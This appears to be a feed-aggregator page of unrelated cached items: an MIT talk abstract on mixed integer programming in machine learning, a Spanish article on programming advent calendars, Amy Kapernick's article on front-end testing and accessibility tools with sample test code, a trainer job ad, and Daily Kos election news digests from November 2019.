Abstract: More than 50 years of development have made mixed integer programming (MIP) an extremely successful tool. MIP’s modeling flexibility allows it describe a wide range of business, engineering and scientific problems, and, while MIP is NP-hard, many of these problems are routinely solved in practice thanks to state-of-the-art solvers that nearly double their machine-independent speeds every year. In this talk we show how a careful application of MIP modeling techniques can lead to extremely effective MIP-based methods for three problems in machine learning and statistics.

The first problem concerns causal inference of treatment effects in observational studies [1]. For this problem we introduce a MIP-based matching method that directly balances covariates for multi-variate treatments and produces samples that are representative of a target population. We show how using the right MIP formulation for the problem is critical for large data sets, and illustrate the effectiveness of the resulting approach by estimating the effect that the different intensities of the 2010 Chilean earthquake had on educational outcomes. The second problem concerns the design of adaptive questionnaires for consumer preference elicitation [2]. For this problem we introduce an approximate Bayesian method for the design of the questionnaires, which can significantly reduce the variance of the estimates obtained for certain consumer preference parameters. We show how carefully modeling the associated question selection using MIP is crucial to achieving the required near-realtime selection of the next question asked to the consumer. The third problem concerns certifying that a trained neural network is robust to adversarial attacks [3]. For this problem we introduce strong MIP formulations that can significantly reduce the computational time needed to achieve the certification.

[1] Building Representative Matched Samples with Multi-valued Treatments in Large Observational Studies. M. Bennett, J. P. Vielma and J. R. Zubizarreta. Submitted for publication, 2019. arXiv:1810.06707

[2] Ellipsoidal methods for adaptive choice-based conjoint analysis. D. Saure and J. P. Vielma. Operations Research 67, 2019. pp. 295-597.

[3] Strong mixed-integer programming formulations for trained neural networks. R. Anderson, J. Huchette, C. Tjandraatmadja and J. P. Vielma. In A. Lodi and V. Nagarajan, editors, Proceedings of the 20th Conference on Integer Programming and Combinatorial Optimization (IPCO 2019), Lecture Notes in Computer Science 11480, 2019. pp. 27-42.

Bio: Juan Pablo Vielma is the Richard S. Leghorn (1939) Career Development Associate Professor at MIT Sloan School of Management and is affiliated to MIT’s Operations Research Center. Dr. Vielma has a B.S. in Mathematical Engineering from University of Chile and a Ph.D. in Industrial Engineering from the Georgia Institute of Technology. His current research interests include the theory and practice of mixed-integer mathematical optimization and applications in energy, natural resource management, marketing and statistics. In January of 2017 he was named by President Obama as one of the recipients of the Presidential Early Career Award for Scientists and Engineers (PECASE). Some of his other recognitions include the NSF CAREER Award and the INFORMS Computing Society Prize. He is currently an associate editor for Operations Research and Operations Research Letters, a member of the board of directors of the INFORMS Computing Society, and a member of the NumFocus steering committee for JuMP.
          

Menos chocolate y más código: calendarios de adviento para programadores y geeks

 Cache   

Menos chocolate y más código: calendarios de adviento para programadores y geeks

Los calendarios de adviento son una especie de "cuenta atrás" que nos indica que cada vez falta menos para que llegue el 24 de diciembre (Nochebuena). Comienza el primer día de diciembre, y muchos los tenemos asociado a ir comiendo pequeñas chocolatinas.

De todos modos, hay calendarios de adviento para todos los gustos, algunos pueden llegar a incitar a hacer compras y otros a que hagamos deporte cada día. Hoy vamos a compartir algunos calendarios de adviento diferentes, en formato web y pensados para geeks, programadores o diseñadores.

Retos e información nueva cada día

'24 ways' es un "calendario de adviento para geeks de la web". Aseguran que durante los 24 primeros días de diciembre compartirán con nosotros "una dosis diaria de bondad en el diseño y desarrollo web".

Valga la redundancia, el diseño de este calendario de adviento online recuerda mucho a los típicos en los que vienen escondidas las chocolatinas (cada día es un pequeño cuadrado en el que dentro está la "sorpresa").

Web Design And Development Articles And Tutorials For Advent 24 Ways

Raku es un lenguaje de programación que forma parte de la familia Perl (inicialmente fue conocido como Perl 6, pero fue rebautizado a Raku en octubre de 2017). Los amantes de este lenguaje deberían agregar a sus marcadores este calendario de adviento en el que están compartiendo tutoriales y consejos sobre Raku.

Aprende los aspectos básicos de un lenguaje de programación cada día

Tampoco hay que perder de vista el trabajo que está haciendo Andrew Shitov. Este programador holandés ha creado un calendario de adviento en el que tocará un "lenguaje al día" (cubrirá los aspectos básicos de un lenguaje de programación diferente cada día). De momento ha tocado TypeScript y Rust, y ya podemos conocer cuáles serán los siete siguientes.

Advent Of Code 2019

Aquellos programadores que busquen retos o puzzles que resolver deberían echar un vistado a 'Advent of Code', un calendario en el que tendremos que resolver un problema de programación cada día (en el lenguaje que prefieras).

Vía | Slashdot

También te recomendamos

Kodular, crea aplicaciones para Android sin saber programación

3 tendencias emergentes que marcarán el futuro de la programación

Programming Hub, una app que quiere ser como Duolingo pero para aprender a programar

-
La noticia Menos chocolate y más código: calendarios de adviento para programadores y geeks fue publicada originalmente en Genbeta por Santi Araújo .


          

Web Design & Development Instructor/Trainer

 Cache   
Are you well experienced in web design and development? Do you have what it takes to be a trainer who will facilitate and inspire our students in becoming someone who wishes to stand out in this career field? If so, this is your chance to be part of our team. We are looking for a trainer who has a good background when it comes to: 1. Web Design Fundamentals and Composition 2. Programming and Scripting Concepts 3. Advanced Concepts & Development in HTML, CSS & Javascript 4. Web Optimization
          

Twelve Days of Front End Testing

 Cache   

Amy Kapernick sings us through numerous ways of improving the robustness and reliability of our front end code with a comprehensive rundown of ideas, tools, and resources. The girls and boys won’t get any toys until all the tests are passing.


Anyone who’s spoken to me at some point in November may get the impression that I’m a bit of a grinch. But don’t get me wrong, I love Christmas, I love decorating my tree, singing carols, and doing Christmas cooking - in December. So for me to willingly be humming the 12 days of Christmas in October, it’s probably for something that I think is even more important than banning premature Christmas decorations, like front end testing.

On the 12th day of Christmas, my front end dev, she gave to me, 12 testing tools, 11 optimised images, 10 linting rules, 9 semantic headings, 8 types of colour blindness, 7(.0) contrast ratio, 6 front end tests, 5 browser types, 4 types of tests, 3 shaken trees, 2 image types, and a source controlled deployment pipeline.

Twelve Testing Tools

  1. axe does automated accessibility testing. Run as part of your development build, it outputs warnings to your console to let you know what changes you need to make (referencing accessibility guides). You can also specify particular accessibility standard levels that you’d like to test against, eg. best-practice, wcag2a or wcag2aa, or you can pick and choose individual rules that you want to check for (full list of rules you can test with axe).
    Screenshot of a browser console pane open with a list of aXe warnings and errors about accessibility issues.
    aXe Core can be used to automate accessibility testing, and has a range of extensions for different programming languages and frameworks.
  2. BackstopJS runs visual regression tests on your website. Run separately, or as part of your deployment/PR process, you can use it to make sure your code changes aren’t bleeding into other areas of the website. By default, BackstopJS will set you up with a bunch of configuration options by running backstop init in your project to help get you started.
    Screenshot of a BackstopJS report, with screenshots of a webpage shown side by side. There are 3 passes and 3 failures.
    BackstopJS compares screenshots of your website to previous screenshots and compares the visual differences to see what’s changed.
  3. Website Speed Test analyses the performance of your website specifically with respect to images, and the potential size savings if they were optimised.
    Screenshot of the results of a website speed test. It shows that the page has 3.2MB of images, and claims this can be compressed to 183.7KB.
  4. Calibre runs several different types of tests by leveraging Lighthouse. You can run it over your live website through their web app or through the command line, it then monitors your website for performance and accessibility over time, providing metrics and notifications of any changes.
    Screenshot of Calibre app, with a list of performance metrics.
    Calibre provides an easy to use interface and dashboard to test and monitor your website for performance, accessibility and several other areas.
  5. Cypress is for end-to-end testing of your website. When visual regression testing may be a bit much for you, Cypress can help you test and make sure elements are still on the page and visible (even if they’re not pixel for pixel where they were last time).
  6. pa11y is for automated accessibility testing. Run as part of your build process or using their CLI or dashboard, it tests your website against various Web Content Accessibility Guidelines (WCAG) criteria (including visual tests like colour contrast). While axe is run as part of your dev build and gives you an output to the console, it can be combined with pa11y to automate any changes as part of your build process.
  7. whocanuse was created by Corey Ginnivan, and it allows you to view colour combinations as those with colour blindness would (as well as testing other visual deficiencies, and situational vision events), and test the colour contrast ratio based on those colours.
    Screenshot of whocanuse which shows a block of blue, and a list of how that blue is visualised for people with different types of vision.
    Colour contrast assessment of my brand colours, testing them for issues for people with various vision deficiencies, and situational vision events.
  8. Colour Blindness Emulation was created by Kyo Nagashima as an SVG filter to emulate the different types of colour blindness, or if you’re using Gatsby, you can use a plugin based off of gatsby-plugin-colorblind-filters.
  9. Accessible Brand Colors tests all your branding colours against each other (this is great to show designers what combinations they can safely use).
    A visualisation of brand colours and their levels of compliance.
    Accessible Brand Colors tests all colour combinations of background and text colours available from your branding colours, and checks them for compliance levels at various font sizes and weights.
  10. Browser dev tools - Most of the modern browsers have been working hard on the features available in their dev tools:
    • Firefox: Accessibility Inspector, Contrast Ratio testing, Performance monitoring.
    • Chromium: (Chrome, Edge Beta, Brave, Vivaldi, Opera, etc) - Accessibility Inspector, Contrast Ratio testing, Performance Monitoring, Lighthouse Audits (testing performance, best practices, accessibility and more).
    • Edge: Accessibility Inspector, Performance monitoring.
    • Safari: Accessibility Inspector, Performance monitoring.
    A screenshot of the output of browser dev tools, and how they show alerts about low contrast ratio.
    Firefox (left), Chrome, and Edge Beta (right) Dev Tools now analyse contrast ratios in the colour picker. The Chromium-based browsers also show curves on the colour picker to let you know which shades would meet the contrast requirements.
  11. Linc is a continuous delivery platform that makes testing the front end easier by automatically deploying a version of your website for every commit on every branch. One of the biggest hurdles when testing the front end is needing a live version of the site to view and test against. Linc makes sure you always have one.
  12. ESLint and Stylelint check your code for programmatic and stylistic errors, as well as helping keep formatting standard on projects with multiple developers. Adding a linter to your project not only helps you write better code, it can reduce simple errors that might be found during testing time. If you’re not writing JavaScript, there are plenty of alternatives for whatever language you’re writing in.

If you’re trying to run eslint in VS Code, make sure you don’t have the Beautify extension installed, as that will break things.

Eleven Optimised Images

When it comes to performance, images are where we take the biggest hit, with images accounting for over 50% of total transfer size for websites. Many websites are serving excessively large images “just in case”, but there’s actually a native HTML element that allows us to serve different image sizes based on the screen size or serve better image formats when the browser supports it (or both).

<!-- Serving different images based on the width of the screen -->
<picture>
    <source
        srcset="/img/banner_desktop.jpg"
        media="(min-width: 1200px)"
    />
    <source
        srcset="/img/banner_tablet.jpg"
        media="(min-width: 700px)"
    />
    <source
        srcset="/img/banner_mobile.jpg"
        media="(min-width: 300px)"
    />
    <img src="/img/banner_fallback.jpg">
</picture>

<!-- Serving different image formats based on browser compatibility -->
<picture>
    <source
        srcset="/banner.webp"
        type="image/webp"
    />
    <img src="/img/banner_fallback.jpg">
</picture>

Ten Linting Rules

A year ago, I didn’t use linting. It was mostly just me working on projects, and I can code properly right? But these days it’s one of the first things I add to a project as it saves me so much time (and has taught me a few things about JavaScript). Linting is a very personal choice, but there are plenty of customisations to make sure it’s doing what you want, and it’s available in a wide variety of languages (including linting for styling).

// .eslintrc
module.exports = {
    rules: {
        'no-var': 'error',
        'no-unused-vars': 1,
        'arrow-spacing': ['error', { before: true, after: true }],
        indent: ['error', 'tab'],
        'comma-dangle': ['error', 'always'],
        // standard plugin - options
        'standard/object-curly-even-spacing': ['error', 'either'],
        'standard/array-bracket-even-spacing': ['error', 'either'], },
}

// .stylelintrc
{
    "rules": {
        "color-no-invalid-hex": true,
        "indentation": [
            "tab",
            {
                "except": [
                    "value"
                ]
            }
        ],
        "max-empty-lines": 2,
    }
}

Nine Semantic Headings

No, I’m not saying you should use 9 levels of headings, but your webpage should have an appropriate number of semantic headings. When your users are accessing your webpage with a screen reader, they rely on landmarks like headings to tell them about the page. Similarly to how we would scan a page visually, screen readers give users a list of all headings on a page to allow them to scan through the sections and access the information faster.

When there aren’t any headings on a page (or headings are being used for their formatting rather than their semantic meaning), it makes it more difficult for anyone using a screen reader to understand and navigate the page. Make sure that you don’t skip heading levels on your page, and remember, you can always change the formatting on a p tag if you need to have something that looks like a heading but isn’t one.

<h1>Heading 1 - Page Title</h2>
<p>Traditionally you'll only see one h1 per page as it's the main page title</p>
<h2>Heading 2</h2>
<p>h2 helps to define other sections within the page. h2 must follow h1, but you can also have h2 following another h2.</p>
<h3>Heading 3</h3>
<p>h3 is a sub-section of h2 and follows similar rules to h2. You can have a h3 after h3, but you can't go from h1 to h3.</p>
<h4>Heading 4</h4>
<p>h4 is a sub-section of h3. You get the pattern?</p>

Eight Types of Colour Blindness

Testing colour contrast may not always be enough, as everyone perceives colour differently. Take the below colour combination (ignoring the fact that it doesn’t actually look nice). It has decent colour contrast and would meet the WCAG colour contrast requirements for AA standards – but what if one of your users was red-green colour blind? Would they be able to tell the difference?

http://colorsafe.co/ empowers designers with beautiful and accessible colour palettes based on WCAG Guidelines of text and background contrast ratios.

Red-green colour blindness is the most common form of colour blindness, but there are 8 different types affecting different parts of the colour spectrum, all the way up to complete colour blindness.

Protanopia
Inability to see red end of the colour spectrum.
Protanomaly
Difficulty seeing some shades of red.
Deuteranopia
Inability to see the green portion of the colour spectrum.
Deuteranomaly
Difficulty seeing some shades of green.
Tritanopia
Inability to see blue end of the colour spectrum.
Tritanomaly
Difficulty seeing some shades of blue.
Achromatopsia
Inability to see all parts of the colour spectrum, only able to perceive black, white and shades of grey.
Achromatomaly
Difficulty seeing all parts of the colour spectrum.

Seven (.0) Contrast Ratio

Sufficient colour contrast is perhaps one of the best steps to take for accessibility, as it benefits everyone. Having adequate contrast doesn’t just make the experience better for those with vision impairments, but it also helps those with situational impairments. Have you ever been in the sun and tried to read something on your screen? Whether you can view something when there’s glare could be as easy as making sure there’s enough contrast between the text and its background colour.

The WCAG have defined a contrast ratio of at least 4.5:1 for normal text (18.5px) and 3:1 for large text (24px) to meet AA accessibility standards, but this should be an absolute minimum and isn’t always readable. All four below examples have sufficient contrast to pass AA standards, but you might be hard pressed to read them when there’s glare or you have a dodgy monitor (even more so considering most websites use below 18.5px for their base font size).

Examples of 4.5:1 colour contrast

To meet the AAA standard you need to have a ratio of 7:1 for normal text and 4.5:1 for large text, which should be sufficient for those with 20/80 vision to read.

Six Front End Tests

  1. Adding default axe-core testing to Gatsby:
    //gatsby-config.js
    {
        resolve: 'gatsby-plugin-react-axe',
        options: {},
    },
  2. Running pa11y tests on homepage at various screen sizes:
    // tests/basic-a11y_home.js
    const pa11y = require('pa11y'),
        fs = require('file-system')
    
    runTest()
    
    async function runTest() {
        try {
            const results = await Promise.all([
                pa11y('http://localhost:8000', {
                    standard: 'WCAG2AA',
                    actions: [],
                    screenCapture: `${__dirname}/results/basic-a11y_home_mobile.png`,
                    viewport: {
                        width: 320,
                        height: 480,
                        deviceScaleFactor: 2,
                        isMobile: true,
                    },
                }),
                pa11y('http://localhost:8000', {
                    standard: 'WCAG2AA',
                    actions: [],
                    screenCapture: `${__dirname}/results/basic-a11y_home_desktop.png`,
                    viewport: {
                        width: 1280,
                        height: 1024,
                        deviceScaleFactor: 1,
                        isMobile: false,
                    },
                }),
            ])
    
            fs.writeFile('tests/results/basic-a11y_home.json', JSON.stringify(results), err => {
                console.log(err)
            })
        } catch (err) {
            console.error(err.message)
        }
    }
  3. Running pa11y tests on a blog post template at various screen sizes:
    // tests/basic-a11y_post.js
    const pa11y = require('pa11y'),
        fs = require('file-system')
    
    runTest()
    
    async function runTest() {
        try {
            const results = await Promise.all([
                pa11y('http://localhost:8000/template', {
                    standard: 'WCAG2AA',
                    actions: [],
                    screenCapture: `${__dirname}/results/basic-a11y_post_mobile.png`,
                    viewport: {
                        width: 320,
                        height: 480,
                        deviceScaleFactor: 2,
                        isMobile: true,
                    },
                }),
                pa11y('http://localhost:8000/template', {
                    standard: 'WCAG2AA',
                    actions: [],
                    screenCapture: `${__dirname}/results/basic-a11y_post_desktop.png`,
                    viewport: {
                        width: 1280,
                        height: 1024,
                        deviceScaleFactor: 1,
                        isMobile: false,
                    },
                }),
            ])
    
            fs.writeFile('tests/results/basic-a11y_post.json', JSON.stringify(results), err => {
                console.log(err)
            })
        } catch (err) {
            console.error(err.message)
        }
    }
  4. Running BackstopJS on a homepage and blog post template at various screen sizes:
    // backstop.json
    {
      "id": "backstop_default",
      "viewports": [
        {
          "label": "phone",
          "width": 320,
          "height": 480
        },
        {
          "label": "tablet",
          "width": 1024,
          "height": 768
        },
        {
          "label": "desktop",
          "width": 1280,
          "height": 1024
        }
      ],
      "onBeforeScript": "puppet/onBefore.js",
      "onReadyScript": "puppet/onReady.js",
      "scenarios": [
        {
          "label": "Blog Homepage",
          "url": "http://localhost:8000",
          "delay": 2000,
          "postInteractionWait": 0,
          "expect": 0,
          "misMatchThreshold": 1,
          "requireSameDimensions": true
        },
        {
          "label": "Blog Post",
          "url": "http://localhost:8000/template",
          "delay": 2000,
          "postInteractionWait": 0,
          "expect": 0,
          "misMatchThreshold": 1,
          "requireSameDimensions": true
        }
      ],
      "paths": {
        "bitmaps_reference": "backstop_data/bitmaps_reference",
        "bitmaps_test": "backstop_data/bitmaps_test",
        "engine_scripts": "backstop_data/engine_scripts",
        "html_report": "backstop_data/html_report",
        "ci_report": "backstop_data/ci_report"
      },
      "report": [
        "browser"
      ],
      "engine": "puppeteer",
      "engineOptions": {
        "args": [
          "--no-sandbox"
        ]
      },
      "asyncCaptureLimit": 5,
      "asyncCompareLimit": 50,
      "debug": false,
      "debugWindow": false
    }
  5. Running Cypress tests on the homepage:
    // cypress/integration/basic-test_home.js
    describe('Blog Homepage', () => {
        beforeEach(() => {
            cy.visit('http://localhost:8000')
        })
        it('contains "Amy Goes to Perth" in the title', () => {
            cy.title().should('contain', 'Amy Goes to Perth')
        })
        it('contains posts in feed', () => {
            cy.get('.article-feed').find('article')
        })
        it('all posts contain title', () => {
            cy.get('.article-feed')
                .find('article')
                .get('h2')
        })
    })
  6. Running Cypress tests on a blog post template at various screen sizes:
    // cypress/integration/basic-test_post.js
    
    describe('Blog Post Template', () => {
        beforeEach(() => {
            cy.visit('http://localhost:8000/template')
        })
        it('contains "Amy Goes to Perth" in the title', () => {
            cy.title().should('contain', 'Amy Goes to Perth')
        })
        it('has visible post title', () => {
            cy.get('h1').should('be.visible')
        })
        it('has share icons', () => {
            cy.get('.share-icons a').should('be.visible')
        })
        it('has working share icons', () => {
            cy.get('.share-icons a').click({ multiple: true })
        })
        it('has a visible author profile image', () => {
            cy.get('.author img').should('be.visible')
        })
    })
    
    describe('Mobile Blog Post Template', () => {
        beforeEach(() => {
            cy.viewport('samsung-s10')
            cy.visit('http://localhost:8000/template')
        })
        it('contains "Amy Goes to Perth" in the title', () => {
            cy.title().should('contain', 'Amy Goes to Perth')
        })
        it('has visible post title', () => {
            cy.get('h1').should('be.visible')
        })
        it('has share icons', () => {
            cy.get('.share-icons .share-link').should('be.visible')
        })
        it('has a visible author profile image', () => {
            cy.get('.author img').should('be.visible')
        })
    })

Five Browser Types

Browser testing may be the bane of our existence, but it’s gotten easier, especially when you know the secret:

Not every browser needs to look the same.

Now, this may differ depending on your circumstances, but your website doesn’t have to match pixel for pixel across all browsers. As long as it’s on-brand and is useable across all browsers (this is where a good solid HTML foundation is useful), it’s ok for your site to look a little different between browsers.

While the browsers you test in will differ depending on your user base, the main ones you want to be covering are:

  • Chrome/Chromium
  • Firefox
  • Safari
  • Internet Explorer
  • Edge

Make sure you’re testing these browsers on both desktop and mobile/tablet as well, sometimes their level of support or rendering engine will differ between devices – for example, iOS Chrome uses the Safari rendering engine, so something that works on Android Chrome may not work on iOS Chrome.

Four Types of Test

When it comes to testing the front end, there are a few different areas that we can cover:

  1. Accessibility Testing: doing accessibility testing properly usually involves getting an expert to run through your website, but there are several automated tests that you can run against various standard levels.
  2. Performance Testing: performance testing does technically bleed into the back end as well, but there are plenty of things that can be done from a front end perspective. Making sure the images are optimised, our code is clean and minified, and even optimising fonts using features like the font-display property. No amount of optimising the server and back end will matter if it takes forever for the front end to appear in a browser.
  3. Visual Regression Testing: we’ve all been in the position where changing one line of CSS somewhere has affected another section of the website. Visual regression testing helps prevent that. By using a tool that compares before and after screenshots against one another to flag up what’s changed, you can be sure that style changes won’t bleed into unintended areas of the site.
  4. Browser/device testing: while we all want our users to be running the most recent version of Chrome or Firefox, they may still be using the inbuilt browser on their DVD player – so we need to test various browsers, platforms and devices to make sure that our website can be accessed on whatever device they use.

Three Shaken Trees

Including (and therefore requiring your users to download) things that you’re not using affects the performance of your application. Are you forcing them to download the entire lodash library when you’re only using 2 functions? While a couple of unused lines of code may not seem like a huge performance hit, it can greatly affect users with slower devices or internet connections, as well as cluttering up your code with unused functions and dependencies. This can be set up on your bundler – Webpack and Parcel both have guides for tree shaking, and Gatsby has a plugin to enable it.

Two Image Types

While there are several different types of images, most of the time they fall into one of two categories:

Informative
The image represents/conveys important information that isn’t conveyed by the content surrounding it.
Decorative
The image only adds visual decoration to a page.

From these two categories, we can then determine if we need to provide alternative text for an image. If an image is purely decorative, then we add alt="" to let screen readers know that it’s not important. But if an image is informative, then we need to be supplying a text alternative that describes the picture for anyone who’s using a screen reader or isn’t able to see the image (remember the days when a standard internet connection took a long time to load a page and you saw alt text before an image loaded).

<img src="./nice-picture.jpg" alt="" />
<img src="./important-graphic.png" alt="This is a picture of something important to help add meaning to the text around me" />

If you have a lot of images with missing alt text, look into services that can auto-generate alt text based on image recognition services.

One Source Controlled Deployment Pipeline

While front end tests are harder to automate, running them through a source control and deployment pipeline helps track changes and eliminates issues where “it works on my computer”. Whether you’re running tests as part of the PR process, or simply against every commit that comes through, running tests automatically as part of your process makes every developer’s life easier and helps keep code quality at a high standard.


We already knew that testing was important, and your project can’t be run unless all your unit and integration tests are written (and pass), but often we forget about testing the front end. There are so many different tests we need to be running on the front end, it’s hard to work out what your need to test for and where to start.

Hopefully this has given you a bit of insight to front end testing, and some Christmas cheer to take you into the holidays.


About the author

Amy wears many hats as a freelance developer, business owner and conference addict. She regularly shares her knowledge with her peers and the next generation of developers by mentoring, coaching, teaching and feeding into the tech community in many ways.

Amy can be found volunteering her time with Fenders, ACS, SheCodes (formerly Perth Web Girls) and MusesJS (formerly NodeGirls). She also works as an evangelist for YOW! Conferences, is a Twilio Champion and has been nominated for the WiTWA awards for the last 2 years.

In her spare time Amy shares her knowledge and experience on her blogs and speaking at conferences. She has previously given keynotes at multiple events as well as speaking at several international conferences in the US and Europe.

More articles by Amy


          

Certificates (and badges) in university teaching and learning

 Cache   
This is a program we launched in Fall 2017, to coordinate programming offered by the Taylor Institute for Teaching and Learning for graduate students who are interested in developing expertise in university teaching and learning. It’s run on the badges.ucalgary.ca platform built by my team (go, team!), as well as D2L courses for online content […]
          

TWC Show Episode 19 - Back to Regular Programming! Post NXT Wargames and Survivor Series Show!

 Cache   
Weekly Wrestling Report
          

12v Power outlet plug mount/USB mount

 Cache   
Hey there mate, Unfortunately I haven't got any of the single sided ones made, no one seemed interested so I didn't invest in getting the CNC programming done from my manufacturer.
          

Morning Digest: Swing seat Democrat could draw a primary foe after voting no on impeachment inquiry

 Cache   

The Daily Kos Elections Morning Digest is compiled by David Nir, Jeff Singer, Stephen Wolf, Carolyn Fiddler, and Matt Booker, with additional contributions from David Jarman, Steve Singiser, Daniel Donner, James Lambert, David Beard, and Arjun Jaikumar.

Programming note: In celebration of the Thanksgiving holiday, there will be no Live Digest for the rest of the week. The Morning Digest will resume publication on Tuesday. Happy Turkey Day!

Leading Off

NJ-02: Freshman Rep. Jeff Van Drew infuriated progressives across the country after he was one of just two Democrats to vote against formalizing the impeachment inquiry into Donald Trump, but he may have more immediate problems with Democratic power brokers at home in this competitive South Jersey seat.

Campaign Action

Six unnamed Democratic leaders tell the New Jersey Globe’s David Wildstein that Van Drew “could lose contests for organization lines at county conventions early next year,” which would be a very big setback for him in the June primary. In New Jersey primaries, a candidate endorsed by the local party appears in a separate column on the ballot along with other party endorsees, a designation known colloquially as the “organization line.” Party machines are still quite powerful in the Garden State, so Van Drew could struggle if a rival can win over enough organization lines next year.

Van Drew doesn’t currently face a serious intra-party foe, but Montclair State University political science professor Brigid Callahan Harrison says she’s considering taking him on. Harrison declared that the congressman's opposition to impeachment has “made himself persona non grata within his party and the House leadership, which impacts every resident of New Jersey’s 2nd Congressional District.”

Harrison also argued that Van Drew’s stance has already hurt his party at home. Harrison pointed to the results of the Nov. 5 legislative election in Van Drew’s old 1st Legislative District where a trio of Democratic incumbents, who ran as the “Van Drew team,” all lost. Harrison said that the result in LD-01, where the GOP scored their only pickup of the night, demonstrated that local Democratic voters “rejected the Van Drew team because of his impeachment vote and crossed party lines” to support the Republicans.


          

Daily Kos Elections Live Digest: 11/26

 Cache   

Welcome to the Daily Kos Elections Live Digest, your liveblog of all of today's campaign news.

Please note: The Live Digest is a 2016 and 2020 Democratic presidential primary-free space. It’s also a place to discuss elections, not policy.

Sign up here to receive the Daily Kos Elections Morning Digest in your inbox each weekday.

Tuesday, Nov 26, 2019 · 4:02:40 PM +00:00 · Jeff Singer

AK-Sen: Former Democratic Sen. Mark Begich is hosting a fundraiser next month for orthopedic surgeon Al Gross, an independent who is seeking the Democratic nomination. Gross already had the support of the state Democratic Party in his bid to take on Sen. Dan Sullivan, the Republican who narrowly ousted Begich in 2014, and he currently faces no serious primary opposition.

Alaska backed Donald Trump 51-37, and neither party is acting like they expect this to be a major Senate battleground next year. Gross, though, may have the resources to make things interesting. The challenger, who entered the race in early July, raised $800,000 from donors and self-funded an additional $210,000 during the third quarter, and he ended September with $682,000 in the bank. Sullivan hauled in a smaller $667,000 during this time, but he finished the quarter with a $3.34 million war chest.  

Tuesday, Nov 26, 2019 · 4:28:35 PM +00:00 · Jeff Singer

AL-Sen: The anti-tax Club for Growth has long detested the establishment-aligned Rep. Bradley Byrne, and they’re out with a TV spot hitting him well ahead of the March GOP Senate primary. The commercial takes aim at Byrne for supporting the Export-Import Bank, which is another favorite Club target.

The narrator accuses Byrne of voting “to fund a government giveaway program that hands out billions of dollars to help big companies make more profits overseas.” The narrator continues by saying that this group, which goes unnamed in the spot, sends “U.S. tax dollars to countries like China, Russia, and even Sudan, a state sponsor of terrorism.”

There is no word on the size of the buy, but Politico says it will run in the Mobile market, which includes all of Byrne’s 1st Congressional District, on Saturday during the Iron Bowl between in-state football rivals Auburn University and the University of Alabama. Politico also says that the commercial will run later on Fox News.

Tuesday, Nov 26, 2019 · 4:57:57 PM +00:00 · Jeff Singer

WV-Gov: GOP Gov. Jim Justice is going up with his first TV spot on Tuesday, a move that comes about five months after his main primary rival, former state Commerce Secretary Woody Thrasher, first began airing ads. Advertising Analytics reports that Justice’s inaugural ad campaign will run for $56,000 through Dec. 8, which is a fraction of the $879,000 that they say Thrasher has already spent on advertising.

Justice’s commercial opens with two well-known former West Virginia college football coaches, West Virginia University’s Don Nehlen and Marshall University’s Bob Pruett, declaring that most politicians are “full of empty promises,” but that Justice is different. The ad then shows people praising Justice for building roads, fighting for programs to combat opioid addiction, and being “a lot like Trump.” The spot concludes with Justice’s wife, state First Lady Cathy Justice, telling the audience that the governor “serves for all the right reasons. He loves West Virginia.”

Tuesday, Nov 26, 2019 · 5:26:01 PM +00:00 · Jeff Singer

AL-01: The anti-tax Club for Growth is out with another poll from WPA Intelligence that finds their endorsed candidate, former state Sen. Bill Hightower, taking first place in the March GOP primary for this open seat with 35% of the vote.

That’s still well short of the majority Hightower would need to win outright, though, and the survey finds state Rep. Chris Pringle edging Mobile County Commissioner Jerry Carl 16-13 for the second spot in a hypothetical runoff. Two other candidates, businessman Wes Lambert and Army veteran John Castorani, take just 2% and 1%, respectively.

All of these numbers are all almost identical to WPA’s late July poll, which showed Hightower at 34% as Pringle led Carl 16-12. Lambert also took 2% then, while Castorani had not yet joined the race and so wasn’t tested.

Tuesday, Nov 26, 2019 · 7:24:48 PM +00:00 · Jeff Singer

MO-Gov: The Democratic Governors Association is out with a survey from Public Policy Polling that gives GOP Gov. Mike Parson a 45-36 lead over Democratic state Auditor Nichole Galloway. The DGA argues in their memo that, while Parson holds a clear lead right now, the fight over the eight-week abortion ban that he signed into law over the summer could “drastically alter” the contest. A federal judge halted the law in August one day before it was to go into effect, and the state is currently appealing the ruling.

Tuesday, Nov 26, 2019 · 7:28:21 PM +00:00 · Jeff Singer

NC-05: GOP Rep. Virginia Foxx announced earlier this month that she would seek re-election even though it’s not yet clear what map she’ll be running under. The GOP legislature recently passed a congressional map, but plaintiffs are challenging it in state court.

Tuesday, Nov 26, 2019 · 7:42:03 PM +00:00 · Jeff Singer

NY-01: Suffolk County Legislator Bridget Fleming announced Tuesday that she would seek the Democratic nomination to take on GOP Rep. Lee Zeldin. Fleming was elected to represent the Southampton are on the county legislature in 2015, three years after she unsuccessfully ran for the state Senate, and she won her third term earlier this month by a 60-40 margin.

Fleming joins 2018 nominee Perry Gershon and Stony Brook University professor Nancy Goroff in the primary in what is already shaping up to be an expensive contest for this eastern Long Island seat. Goroff entered the contest in July and raised a hefty $518,000 during her opening fundraising quarter, and she ended September with $418,000 in the bank.

Gershon, who lost to Zeldin 51-47 last year, hauled in just shy of $200,000 during the third quarter of 2019, and he had $475,000 to spend. Zeldin has always been a strong fundraiser, and he took in $601,000 and had $1.17 million in the bank.

This seat swung from 50-49 Obama to 55-42 Trump, but it shifted back to the left last year. However, Democratic Gov. Andrew Cuomo still only carried the district by just a 49.1 to 48.6 spread while he was winning a 23-point blowout statewide, so this is still challenging turf for Team Blue even in a good year.

Tuesday, Nov 26, 2019 · 7:58:03 PM +00:00 · Jeff Singer

NY-17: This week, two new candidates joined the crowded Democratic primary for this open and reliably blue seat. One of the new arrivals is Army veteran and combat veteran Asha Castleberry-Hernandez, who served as engagement officer in Iraq and Kuwait in 2014 and 2015 and later worked on the Hillary Clinton presidential campaign as a Middle East foreign policy advisor.

Castleberry-Hernandez, who is the first black woman in the race, stressed her support for gun safety by saying, “I was almost a victim of gun violence in White Plains when I was almost shot at walking through a line of fire with my sister … where a young man has a small arm shooting at one of his opponents.”

The other new Democratic candidate is former federal prosecutor Adam Schleifer. Schleifer was involved in the Operation Varsity Blues investigations of several wealthy parents in the college admissions scandal, and he represented the government when actress Felicity Huffman appeared in court in March after being charged with bribery.

Tuesday, Nov 26, 2019 · 8:19:04 PM +00:00 · Jeff Singer

TX-13: Asusena Reséndiz, who finished a stint last year as head of the Fort Worth Hispanic Chamber of Commerce, announced Tuesday that she would seek the GOP nod for this seat in the Texas Panhandle. Reséndiz also was appointed in 2017 to serve on the Texas Department of Housing and Community Affairs by GOP Gov. Greg Abbott.

Tuesday, Nov 26, 2019 · 9:08:03 PM +00:00 · David Nir

